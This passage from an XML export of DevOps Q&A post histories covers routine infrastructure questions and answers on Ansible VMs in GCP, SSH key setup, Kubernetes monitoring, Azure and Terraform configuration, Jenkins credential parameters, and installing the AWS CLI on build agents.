  <row Id="29537" PostHistoryTypeId="3" PostId="9862" RevisionGUID="1e92a9be-28f4-49a1-9532-c0d9a9ef03e8" CreationDate="2019-11-20T13:11:10.853" UserId="18136" Text="&lt;ansible&gt;&lt;gcp&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29538" PostHistoryTypeId="5" PostId="9862" RevisionGUID="98a363b6-791c-45df-8692-132703d54e48" CreationDate="2019-11-20T14:14:45.017" UserId="18136" Comment="correct spelling" Text="I create VM instance using ansible module `gcp_compute_instance`&#xD;&#xA;My code:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - name: Create jenkins node-1&#xD;&#xA;      hosts: localhost&#xD;&#xA;      connection: local&#xD;&#xA;      gather_facts: no&#xD;&#xA;      vars:&#xD;&#xA;        address: &lt;my ip&gt;&#xD;&#xA;        project_id: geocitizen-app&#xD;&#xA;        machine_type: f1-micro&#xD;&#xA;        machine_name: jenkins-node-1&#xD;&#xA;        image: https://www.googleapis.com/compute/v1/projects/centos-cloud/global/images/centos-7-v20191014&#xD;&#xA;        zone: europe-north1-a&#xD;&#xA;        service_email: log@project-app.iam.gserviceaccount.com&#xD;&#xA;        startup_script_url: gs://project/startup.sh&#xD;&#xA;        service_account_scope: https://www.googleapis.com/auth/devstorage.read_only&#xD;&#xA;      tasks:&#xD;&#xA;       - name: Launch instances&#xD;&#xA;         gcp_compute_instance:&#xD;&#xA;           auth_kind: serviceaccount&#xD;&#xA;           name: &quot;{{ machine_name }}&quot;&#xD;&#xA;           machine_type: &quot;{{ machine_type }}&quot;&#xD;&#xA;           project: &quot;{{ project_id }}&quot;&#xD;&#xA;           zone: &quot;{{ zone }}&quot;&#xD;&#xA;           network_interfaces:&#xD;&#xA;           - network:&#xD;&#xA;             access_configs:&#xD;&#xA;             - name: External NAT&#xD;&#xA;               nat_ip: &#xD;&#xA;                 address: &quot;{{ node_1_ip }}&quot;&#xD;&#xA;               type: ONE_TO_ONE_NAT&#xD;&#xA;           disks:&#xD;&#xA;           - auto_delete: 'true'&#xD;&#xA;             boot: 'true'&#xD;&#xA;             initialize_params:&#xD;&#xA;               source_image: &quot;{{ image }}&quot;&#xD;&#xA;           tags:&#xD;&#xA;             items:&#xD;&#xA;             - jenkins-server&#xD;&#xA;             - http-server&#xD;&#xA;           service_accounts:&#xD;&#xA;           - email: &quot;{{ service_email }}&quot;&#xD;&#xA;             scopes: &#xD;&#xA;             - &quot;{{ service_account_scope }}&quot;&#xD;&#xA;           metadata:&#xD;&#xA;             startup-script-url: &quot;{{ startup_script_url }}&quot;&#xD;&#xA;&#xD;&#xA;At this point I have startup-script. This script deploy my public key to newly created VM instance:&#xD;&#xA;&#xD;&#xA;    #! /bin/sh&#xD;&#xA;    iniFile=/var/opt/inited.ini&#xD;&#xA;    if test -f &quot;$iniFile&quot;; then&#xD;&#xA;        exit 0&#xD;&#xA;    else&#xD;&#xA;    	useradd ssh&#xD;&#xA;    	runuser -l ssh -c &quot;mkdir -p ~/.ssh&quot;&#xD;&#xA;    	runuser -l ssh -c &quot;echo 'ssh-rsa &lt;my public key&gt;' &gt;&gt; ~/.ssh/authorized_keys&quot;&#xD;&#xA;    	runuser -l ssh -c &quot;chmod -R go= ~/.ssh&quot;&#xD;&#xA;    	touch /var/opt/inited.ini&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Can I add public key when I create VM without using startup script? I read&#xD;&#xA;https://cloud.google.com/compute/docs/instances/adding-removing-ssh-keys But i don't understand how I can use it in my playbook." ContentLicense="CC BY-SA 4.0" />
  <row Id="29539" PostHistoryTypeId="4" PostId="9862" RevisionGUID="98a363b6-791c-45df-8692-132703d54e48" CreationDate="2019-11-20T14:14:45.017" UserId="18136" Comment="correct spelling" Text="How deploy public key to newly created VM on GCP?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29540" PostHistoryTypeId="6" PostId="9862" RevisionGUID="98a363b6-791c-45df-8692-132703d54e48" CreationDate="2019-11-20T14:14:45.017" UserId="18136" Comment="correct spelling" Text="&lt;ansible&gt;&lt;gcp&gt;&lt;centos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29541" PostHistoryTypeId="2" PostId="9863" RevisionGUID="27a253ec-85fe-4e43-9092-e571712ab617" CreationDate="2019-11-20T15:37:13.127" UserId="17606" Text="I am searching for a tool similar to Prometheus + Grafana that gather and record resource usage especially memory usage by process-ID or process-name.&#xD;&#xA;&#xD;&#xA;We have two components that are running different processes and they have memory leak and I want to find which process is leaking." ContentLicense="CC BY-SA 4.0" />
  <row Id="29542" PostHistoryTypeId="1" PostId="9863" RevisionGUID="27a253ec-85fe-4e43-9092-e571712ab617" CreationDate="2019-11-20T15:37:13.127" UserId="17606" Text="Gather resource usage by process in a kubernetes cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="29543" PostHistoryTypeId="3" PostId="9863" RevisionGUID="27a253ec-85fe-4e43-9092-e571712ab617" CreationDate="2019-11-20T15:37:13.127" UserId="17606" Text="&lt;kubernetes&gt;&lt;monitoring&gt;&lt;prometheus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29544" PostHistoryTypeId="5" PostId="9863" RevisionGUID="c64cd6ab-6066-4c23-b30b-16d312dcbfc5" CreationDate="2019-11-20T16:01:28.157" UserId="17606" Comment="added 283 characters in body" Text="I am searching for a tool similar to Prometheus + Grafana that gather and record resource usage especially memory usage by process-ID or process-name.&#xD;&#xA;&#xD;&#xA;We have two components that are running different processes and they have memory leak and I want to find which process is leaking.&#xD;&#xA;&#xD;&#xA;This is from Weave Scope and it shows all the processes of each pod and their resource usage but it is just live, I want something similar but storing it over time like a Prometheus graph.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/gyUMf.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="29545" PostHistoryTypeId="2" PostId="9864" RevisionGUID="ddef27e3-cc7e-41be-af0e-f921e1b2c855" CreationDate="2019-11-20T16:20:33.363" UserId="519" Text="From close reading of the [Ansible doc page][1] on creating Azure VMs, it's clear that you can refer to a resource such as a virtual network or NIC using its resource ID.  This lets you specify any resource, just like RM templates.&#xD;&#xA;&#xD;&#xA;To specify a NIC created in another resource group by the networking team, you would give a resource ID like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- set_fact:&#xD;&#xA;    nic_id: &quot;/subscriptions/{{ subscription_id }}/resourceGroups/{{ network_resource_group_id }}/providers/Microsoft.Network/networkInterfaces/{{ nic_name }}&quot;&#xD;&#xA;&#xD;&#xA;- name: &quot;Create VM {{vm_type}} - {{name}}&quot;&#xD;&#xA;  azure_rm_virtualmachine:&#xD;&#xA;    resource_group: &quot;{{rg_name}}&quot;&#xD;&#xA;    name: &quot;{{name}}&quot;&#xD;&#xA;    vm_size: &quot;{{size}}&quot;&#xD;&#xA;    admin_username: &quot;{{user}}&quot;&#xD;&#xA;    admin_password: &quot;{{pass}}&quot;&#xD;&#xA;    os_type: &quot;{{os_type}}&quot;&#xD;&#xA;    network_interfaces: &quot;{{nic_id}}&quot;     # Use the nic_id instead of name&#xD;&#xA;    image: &quot;{{image}}&quot;&#xD;&#xA;    tags: &quot;{{tags}}&quot;&#xD;&#xA;```&#xD;&#xA;This works for any resources that are in a different resource group, including virtual networks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/modules/azure_rm_virtualmachine_module.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="29549" PostHistoryTypeId="5" PostId="9864" RevisionGUID="f2995e64-e569-460b-b6b9-ad6ec348fd1b" CreationDate="2019-11-20T16:26:18.130" UserId="519" Comment="deleted 6 characters in body" Text="From close reading of the [Ansible doc page][1] on creating Azure VMs, it's clear that you can refer to a resource such as a virtual network or NIC using its resource ID.  This lets you specify any resource, just like RM templates.&#xD;&#xA;&#xD;&#xA;To specify a NIC created in another resource group by the networking team, you would give a resource ID like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- set_fact:&#xD;&#xA;    nic_id: &quot;/subscriptions/{{ subscription_id }}/resourceGroups/{{ resource_group_name }}/providers/Microsoft.Network/networkInterfaces/{{ nic_name }}&quot;&#xD;&#xA;&#xD;&#xA;- name: &quot;Create VM {{vm_type}} - {{name}}&quot;&#xD;&#xA;  azure_rm_virtualmachine:&#xD;&#xA;    resource_group: &quot;{{rg_name}}&quot;&#xD;&#xA;    name: &quot;{{name}}&quot;&#xD;&#xA;    vm_size: &quot;{{size}}&quot;&#xD;&#xA;    admin_username: &quot;{{user}}&quot;&#xD;&#xA;    admin_password: &quot;{{pass}}&quot;&#xD;&#xA;    os_type: &quot;{{os_type}}&quot;&#xD;&#xA;    network_interfaces: &quot;{{nic_id}}&quot;     # Use the nic_id instead of name&#xD;&#xA;    image: &quot;{{image}}&quot;&#xD;&#xA;    tags: &quot;{{tags}}&quot;&#xD;&#xA;```&#xD;&#xA;This works for any resources that are in a different resource group, including virtual networks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/modules/azure_rm_virtualmachine_module.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="29550" PostHistoryTypeId="2" PostId="9866" RevisionGUID="026595a2-b404-4986-9a0c-c8a3e3e071d1" CreationDate="2019-11-20T17:29:25.667" UserId="11564" Text="So i was going through a code of some one else and just could not make sense of it,, if may be some can of this,&#xA;&#xA;```&quot;${replace(jsonencode(list(local.cadvisor_container_definition)), &quot;/\&quot;(\\d{2,5}|true|false)\&quot;/&quot;, &quot;$1&quot;)}&quot;```&#xA;&#xA;```&#xA;locals {&#xA;  cadvisor_container_definition = {&#xA;    name         = &quot;${local.cadvisor_container}&quot;&#xA;    image        = &quot;google/cadvisor:latest&quot;&#xA;    portMappings = [&#xA;      {&#xA;        containerPort = &quot;8080&quot;,&#xA;        hostPort = &quot;8080&quot;&#xA;      }&#xA;    ]&#xA;    mountPoints = [&#xA;      {&#xA;        sourceVolume  = &quot;root&quot;,&#xA;        containerPath = &quot;/rootfs&quot;,&#xA;        readOnly      = &quot;true&quot;&#xA;      },&#xA;      {&#xA;        sourceVolume  = &quot;var_run&quot;,&#xA;        containerPath = &quot;/var/run&quot;,&#xA;        readOnly      = &quot;false&quot;&#xA;      },&#xA;      {&#xA;        sourceVolume  = &quot;sys&quot;,&#xA;        containerPath = &quot;/sys&quot;,&#xA;        readOnly      = &quot;true&quot;&#xA;      },&#xA;      {&#xA;        sourceVolume  = &quot;var_lib_docker&quot;,&#xA;        containerPath = &quot;/var/lib/docker&quot;,&#xA;        readOnly      = &quot;true&quot;&#xA;      },&#xA;      {&#xA;        sourceVolume  = &quot;cgroup&quot;,&#xA;        containerPath = &quot;/sys/fs/cgroup&quot;,&#xA;        readOnly      = &quot;true&quot;&#xA;      }&#xA;    ]&#xA;    memory            = &quot;${lookup(var.cadvisor_memory, var.env)}&quot;&#xA;    memoryReservation = &quot;${lookup(var.cadvisor_memory_reservation, var.env)}&quot;&#xA;  }&#xA;}```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29551" PostHistoryTypeId="1" PostId="9866" RevisionGUID="026595a2-b404-4986-9a0c-c8a3e3e071d1" CreationDate="2019-11-20T17:29:25.667" UserId="11564" Text="Unable to understand the logic behind this terraform function" ContentLicense="CC BY-SA 4.0" />
  <row Id="29552" PostHistoryTypeId="3" PostId="9866" RevisionGUID="026595a2-b404-4986-9a0c-c8a3e3e071d1" CreationDate="2019-11-20T17:29:25.667" UserId="11564" Text="&lt;terraform&gt;&lt;terraform-module&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29553" PostHistoryTypeId="2" PostId="9867" RevisionGUID="d1ec0582-ee63-44f7-b9d5-82da9c1eb964" CreationDate="2019-11-20T17:33:18.283" UserId="17030" Text="Here is my YAML for multiple artifacts from a single build.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pool:&#xD;&#xA;  name: Hosted Windows 2019 with VS2019&#xD;&#xA;  demands:&#xD;&#xA;  - msbuild&#xD;&#xA;  - visualstudio&#xD;&#xA;  - vstest&#xD;&#xA;  - npm&#xD;&#xA;&#xD;&#xA;steps:&#xD;&#xA;- task: NuGetToolInstaller@0&#xD;&#xA;  displayName: 'Use NuGet 4.4.1'&#xD;&#xA;  inputs:&#xD;&#xA;    versionSpec: 4.4.1&#xD;&#xA;&#xD;&#xA;- task: NuGetCommand@2&#xD;&#xA;  displayName: 'NuGet restore'&#xD;&#xA;  inputs:&#xD;&#xA;    restoreSolution: '$(Parameters.solution)'&#xD;&#xA;&#xD;&#xA;- task: VSBuild@1&#xD;&#xA;  displayName: 'Build solution WebApi'&#xD;&#xA;  inputs:&#xD;&#xA;    solution: '$(Parameters.solution)'&#xD;&#xA;    msbuildArgs: '/p:DeployOnBuild=true /p:WebPublishMethod=Package /p:PackageAsSingleFile=true /p:SkipInvalidConfigurations=true /p:PackageLocation=&quot;$(build.artifactstagingdirectory)\\&quot;'&#xD;&#xA;    platform: '$(BuildPlatform)'&#xD;&#xA;    configuration: '$(BuildConfiguration)'&#xD;&#xA;    msbuildArchitecture: x64&#xD;&#xA;&#xD;&#xA;- task: PublishBuildArtifacts@1&#xD;&#xA;  displayName: 'Publish Artifact: WebApi'&#xD;&#xA;  inputs:&#xD;&#xA;    PathtoPublish: '$(build.artifactstagingdirectory)'&#xD;&#xA;    ArtifactName: 'dotnet-webapi'&#xD;&#xA;  condition: succeededOrFailed()&#xD;&#xA;&#xD;&#xA;- task: DeleteFiles@1&#xD;&#xA;  displayName: 'Delete build.artifactstagingdirectory for Angular'&#xD;&#xA;  inputs:&#xD;&#xA;    SourceFolder: '$(build.artifactstagingdirectory)'&#xD;&#xA;    Contents: '**'&#xD;&#xA;&#xD;&#xA;- task: Npm@1&#xD;&#xA;  displayName: 'npm install'&#xD;&#xA;  inputs:&#xD;&#xA;    workingDir: project/ClientApp&#xD;&#xA;    verbose: false&#xD;&#xA;&#xD;&#xA;- task: Npm@1&#xD;&#xA;  displayName: 'npm run prod-build'&#xD;&#xA;  inputs:&#xD;&#xA;    command: custom&#xD;&#xA;    workingDir: project/ClientApp&#xD;&#xA;    verbose: false&#xD;&#xA;    customCommand: 'run prod-build'&#xD;&#xA;&#xD;&#xA;- task: Npm@1&#xD;&#xA;  displayName: 'npm run dev-build'&#xD;&#xA;  inputs:&#xD;&#xA;    command: custom&#xD;&#xA;    workingDir: project/ClientApp&#xD;&#xA;    verbose: false&#xD;&#xA;    customCommand: 'run prod-dev'&#xD;&#xA;  enabled: false&#xD;&#xA;&#xD;&#xA;- task: CopyFiles@2&#xD;&#xA;  displayName: 'Copy Angular/Dist to build.artifactstagingdirectory'&#xD;&#xA;  inputs:&#xD;&#xA;    SourceFolder: project/ClientApp/dist/ClientApp&#xD;&#xA;    Contents: |&#xD;&#xA;     **&#xD;&#xA;     !config.json&#xD;&#xA;    TargetFolder: '$(build.artifactstagingdirectory)'&#xD;&#xA;&#xD;&#xA;- task: PublishBuildArtifacts@1&#xD;&#xA;  displayName: 'Publish Artifact: Angular'&#xD;&#xA;  inputs:&#xD;&#xA;    ArtifactName: angular&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29554" PostHistoryTypeId="2" PostId="9868" RevisionGUID="c9ad2788-c0e8-4610-b71c-c4e51afc7d56" CreationDate="2019-11-20T17:36:01.470" UserId="397" Text="I am trying to provision a user in [Azure Active Directory][1] using [Terraform's AzureAD provider][2].  At the top of the [`azuread_user` documentation][3], it states:&#xD;&#xA;&#xD;&#xA;&gt; **NOTE**: If you're authenticating using a Service Principal then it must have permissions to `Directory.ReadWrite.All` within the `Windows Azure Active Directory API`.&#xD;&#xA;&#xD;&#xA;I have created the Azure Active Directory User using the `az` command line:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;az ad sp create-for-rbac --role=&quot;Owner&quot; --scopes=$SubscriptionUrl --name $PrincipalName&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However, this doesn't have `Directory.ReadWrite.All` permissions, as that would be a fairly insane security risk.&#xD;&#xA;&#xD;&#xA;How can I add the `Directory.*` permissions to the Service Principal using the [`az` command line][4] or even the [Azure Powershell Cmdlets][5], I would even be willing to craft a WebRequest if that would help me solve the problem!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-gb/services/active-directory/&#xD;&#xA;  [2]: https://www.terraform.io/docs/providers/azuread/index.html&#xD;&#xA;  [3]: https://www.terraform.io/docs/providers/azuread/r/user.html&#xD;&#xA;  [4]: https://docs.microsoft.com/en-us/cli/azure/?view=azure-cli-latest&#xD;&#xA;  [5]: https://docs.microsoft.com/en-us/powershell/azure/?view=azps-3.0.0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29555" PostHistoryTypeId="1" PostId="9868" RevisionGUID="c9ad2788-c0e8-4610-b71c-c4e51afc7d56" CreationDate="2019-11-20T17:36:01.470" UserId="397" Text="Assign Directory Read/Write Privileges to Azure Service Principal from the command line?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29556" PostHistoryTypeId="3" PostId="9868" RevisionGUID="c9ad2788-c0e8-4610-b71c-c4e51afc7d56" CreationDate="2019-11-20T17:36:01.470" UserId="397" Text="&lt;azure&gt;&lt;security&gt;&lt;permissions&gt;&lt;active-directory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29557" PostHistoryTypeId="2" PostId="9869" RevisionGUID="b499e1c1-0800-4ef4-b574-891e0935033a" CreationDate="2019-11-20T17:39:30.153" UserId="18007" Text="I have a pipeline job which includes Credentials parameter:&#xD;&#xA;[![pipeline][1]][1]&#xD;&#xA;&#xD;&#xA;In the pipeline file I have the below code:&#xD;&#xA;&#xD;&#xA;    stage (&quot;create bundle&quot;){&#xD;&#xA;                steps{&#xD;&#xA;                    script{&#xD;&#xA;                            amd_distribution_create_bundle credential_id: params.DISTRIBUTION_CREDENTIAL_ID, distribution_url: params.DISTRIBUTION_URL, gps_credential_id: params.GPG_PASSPHRASE, bundle_name: params.BUNDLE_NAME, bundle_version: BUNDLE_VERSION&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;how can I ask before calling the groovy method 'amd_distribution_create_bundle', if GPG_PASSPHRASE field is empty or not? if it's empty, I want to assign '' to it. I'm asking since as the current status, I get an error when trying to reach it:&#xD;&#xA;&#xD;&#xA;    groovy.lang.MissingPropertyException: No such property: $GPG_PASSPHRASE for class: amd_distribution_create_bundle&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/raFqf.png&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29558" PostHistoryTypeId="1" PostId="9869" RevisionGUID="b499e1c1-0800-4ef4-b574-891e0935033a" CreationDate="2019-11-20T17:39:30.153" UserId="18007" Text="How to check if Credentials parameter is empty in pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="29559" PostHistoryTypeId="3" PostId="9869" RevisionGUID="b499e1c1-0800-4ef4-b574-891e0935033a" CreationDate="2019-11-20T17:39:30.153" UserId="18007" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29560" PostHistoryTypeId="5" PostId="9868" RevisionGUID="0785973c-1c32-46dc-b80d-4d8e7b6ef476" CreationDate="2019-11-20T17:41:30.800" UserId="397" Comment="add preference" Text="I am trying to provision a user in [Azure Active Directory][1] using [Terraform's AzureAD provider][2].  At the top of the [`azuread_user` documentation][3], it states:&#xD;&#xA;&#xD;&#xA;&gt; **NOTE**: If you're authenticating using a Service Principal then it must have permissions to `Directory.ReadWrite.All` within the `Windows Azure Active Directory API`.&#xD;&#xA;&#xD;&#xA;I have created the Azure Active Directory User using the `az` command line:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;az ad sp create-for-rbac --role=&quot;Owner&quot; --scopes=$SubscriptionUrl --name $PrincipalName&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However, this doesn't have `Directory.ReadWrite.All` permissions, as that would be a fairly insane security risk.&#xD;&#xA;&#xD;&#xA;How can I add the `Directory.*` permissions to the Service Principal using the [`az` command line][4] (by preference) or even the [Azure Powershell Cmdlets][5], I would even be willing to craft a WebRequest if that would help me solve the problem!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-gb/services/active-directory/&#xD;&#xA;  [2]: https://www.terraform.io/docs/providers/azuread/index.html&#xD;&#xA;  [3]: https://www.terraform.io/docs/providers/azuread/r/user.html&#xD;&#xA;  [4]: https://docs.microsoft.com/en-us/cli/azure/?view=azure-cli-latest&#xD;&#xA;  [5]: https://docs.microsoft.com/en-us/powershell/azure/?view=azps-3.0.0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29561" PostHistoryTypeId="2" PostId="9870" RevisionGUID="453f0e99-96dd-47fa-a2d4-66d124049349" CreationDate="2019-11-20T18:56:51.530" UserId="12138" Text="While creating the credentials parameter in jenkins job, you can specify ` required: true`, then jenkins should validate the credentials paramter.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;parameters {&#xD;&#xA;    credentials(name: 'GPG_PASSPHRASE', defaultValue: '', credentialType: &quot;Username with password&quot;, required: true )&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You can also check the details mentioned in the link https://docwhat.org/jenkins-user-credentials&#xD;&#xA;&#xD;&#xA;Adding Parameter&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;/* EXAMPLE */&#xD;&#xA;parameters {&#xD;&#xA;    credentials(&#xD;&#xA;        credentialType: 'com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl',&#xD;&#xA;        defaultValue: '',&#xD;&#xA;        description: 'The credentials needed to deploy.',&#xD;&#xA;        name: 'deployCredentialsId',&#xD;&#xA;        required: true&#xD;&#xA;    )&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Using in the stage&#xD;&#xA;```&#xD;&#xA;/* EXAMPLE */&#xD;&#xA;steps {&#xD;&#xA;    withCredentials([usernamePassword(&#xD;&#xA;        credentialsId: '${deployCredentialsId}',&#xD;&#xA;        usernameVariable: 'DEPLOY_USERNAME',&#xD;&#xA;        passwordVariable: 'DEPLOY_PASSWORD',&#xD;&#xA;    )]) {&#xD;&#xA;        sh './my-command.bash --username=&quot;${DEPLOY_USERNAME}&quot; --password=&quot;${DEPLOY_PASSWORD}&quot;'&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29562" PostHistoryTypeId="2" PostId="9871" RevisionGUID="405bce17-7ba1-459a-bd5b-908d9becb58f" CreationDate="2019-11-20T18:59:17.863" UserId="15792" Text="There are [several alternatives][1] to Prometheus for monitoring your cluster.&#xD;&#xA;&#xD;&#xA;While some like [Heapster][2] have been superseded by Prometheus, other solutions such as [cAdvisor][3] may have the functionality you are looking for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://techbeacon.com/enterprise-it/9-top-open-source-tools-monitoring-kubernetes&#xD;&#xA;  [2]: https://github.com/kubernetes-retired/heapster&#xD;&#xA;  [3]: https://github.com/google/cadvisor" ContentLicense="CC BY-SA 4.0" />
  <row Id="29563" PostHistoryTypeId="2" PostId="9872" RevisionGUID="cc2b44d9-6463-4c29-818a-07a1bb807ae7" CreationDate="2019-11-20T19:07:42.563" UserId="12138" Text="As a best practice, you should gracefully deregister the node gracefully. In this case, consul will know the the node has left and will be removed from the cluster. Otherwise, the consul cannot distinguish between a temporary failure, agent crash, network partition, etc.&#xD;&#xA;&#xD;&#xA;There is a github [issue][1] as well related to this. &#xD;&#xA;&#xD;&#xA;Quoting few important points from the issue.&#xD;&#xA;&#xD;&#xA;&gt; The nodes should automatically reap out after 72hours (not yet configurable, but soon). Otherwise, the best route is to issue a graceful leave before destroying the nodes (consul leave), so that they can be reaped immediately. They are kept around for that long since without a graceful leave, Consul cannot distinguish between a temporary failure, agent crash, network partition, etc.&#xD;&#xA;&#xD;&#xA;.&#xD;&#xA;&#xD;&#xA;&gt; force-leave should push them into the &quot;left&quot; state. Nodes are not reaped until they are in failed for 72h or in the left state. &quot;force-leave&quot; just moves a node from the &quot;failed&quot; -&gt; &quot;left&quot; state. They are not removed from the members list for 24 or 72h.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/hashicorp/consul/issues/544" ContentLicense="CC BY-SA 4.0" />
  <row Id="29564" PostHistoryTypeId="5" PostId="9870" RevisionGUID="06aedf21-ff43-42f2-98e3-ccdf9f2b3132" CreationDate="2019-11-20T19:13:02.637" UserId="12138" Comment="added 248 characters in body" Text="While creating the credentials parameter in jenkins job, you can specify ` required: true`, then jenkins should validate the credentials paramter.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;parameters {&#xD;&#xA;    credentials(name: 'GPG_PASSPHRASE', defaultValue: '', credentialType: &quot;Username with password&quot;, required: true )&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You can also check the details mentioned in the link https://docwhat.org/jenkins-user-credentials&#xD;&#xA;&#xD;&#xA;Adding Parameter&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;/* EXAMPLE */&#xD;&#xA;parameters {&#xD;&#xA;    credentials(&#xD;&#xA;        credentialType: 'com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl',&#xD;&#xA;        defaultValue: '',&#xD;&#xA;        description: 'The credentials needed to deploy.',&#xD;&#xA;        name: 'deployCredentialsId',&#xD;&#xA;        required: true&#xD;&#xA;    )&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Using in the stage&#xD;&#xA;```&#xD;&#xA;/* EXAMPLE */&#xD;&#xA;steps {&#xD;&#xA;    withCredentials([usernamePassword(&#xD;&#xA;        credentialsId: '${deployCredentialsId}',&#xD;&#xA;        usernameVariable: 'DEPLOY_USERNAME',&#xD;&#xA;        passwordVariable: 'DEPLOY_PASSWORD',&#xD;&#xA;    )]) {&#xD;&#xA;        sh './my-command.bash --username=&quot;${DEPLOY_USERNAME}&quot; --password=&quot;${DEPLOY_PASSWORD}&quot;'&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If you just want to check if the variable is empty or not, you can check `isEmpty()` in groovy script. Your code can be as follows:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    stage (&quot;create bundle&quot;){&#xD;&#xA;            steps{&#xD;&#xA;                script{&#xD;&#xA;                        if ( GPG_PASSPHRASE.isEmpty()​​ ) {&#xD;&#xA;                                 GPG_PASSPHRASE = 'custom_string'&#xD;&#xA;                         }&#xD;&#xA;                        amd_distribution_create_bundle credential_id: params.DISTRIBUTION_CREDENTIAL_ID, distribution_url: params.DISTRIBUTION_URL, gps_credential_id: params.GPG_PASSPHRASE, bundle_name: params.BUNDLE_NAME, bundle_version: BUNDLE_VERSION&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29568" PostHistoryTypeId="2" PostId="9874" RevisionGUID="a89bf5ed-21ab-45e2-a30e-aba6c24b9a23" CreationDate="2019-11-20T20:26:51.030" UserId="18292" Text="I have quite some difficulties installing **aws cli** on a self-hosted Azure DevOps Windows agent as part of a pipeline. Does anyone have a working solution?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### What I have tried so far:&#xD;&#xA;&#xD;&#xA;Firstly, I install Python (tried both; Python2 and Python3) within the pipeline (Powershell) by downloading and extracting a tar file. Example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;(New-Object System.Net.WebClient).DownloadFile(&quot;$(python3_download_url)&quot;, &quot;.\Python.tar&quot;)&#xD;&#xA;Expand-7Zip .\Python.tar .&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Secondly, I use the freshly installed Python for installing aws cli. Example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$(PYTHON364EXE) -m pip install awscli&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Aws cli is then installed in the `SCRIPTS` directory, as expected. &#xD;&#xA;&#xD;&#xA;When I try to execute aws.cmd, I receive an error message:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;File association not found for extension .py&#xD;&#xA;'&quot;&quot;' is not recognized as an internal or external command,&#xD;&#xA;operable program or batch file&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Similar issues are described here: [1], [2], [3]. The suggested solution is, to associate python files with the freshly installed python executable:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;assoc .py=pyautofile&#xD;&#xA;ftype pyautofile=&quot;$(PYTHON364EXE)&quot; &quot;%1&quot; %*&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I do not feel this is appropriate for an azure agent:&#xD;&#xA;&#xD;&#xA;1. It does not feel right to use Admin permissions for a simple build&#xD;&#xA;2. I am worried that the proposed change would impact *all* agents and the entire host server, while I need it for only one specific agent.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Another option would be, to install the required tools system-wide (python, aws). That would, however, make it difficult to try out a specific (new?) version of python or aws cli.&#xD;&#xA;&#xD;&#xA;[1]: https://stackoverflow.com/questions/47459536/file-association-not-found-for-extension-py&#xD;&#xA;[2]: https://github.com/awslabs/aws-shell/issues/83&#xD;&#xA;[3]: https://github.com/aws/aws-cli/issues/3518&#xD;&#xA;" ContentLicense="CC BY-SA 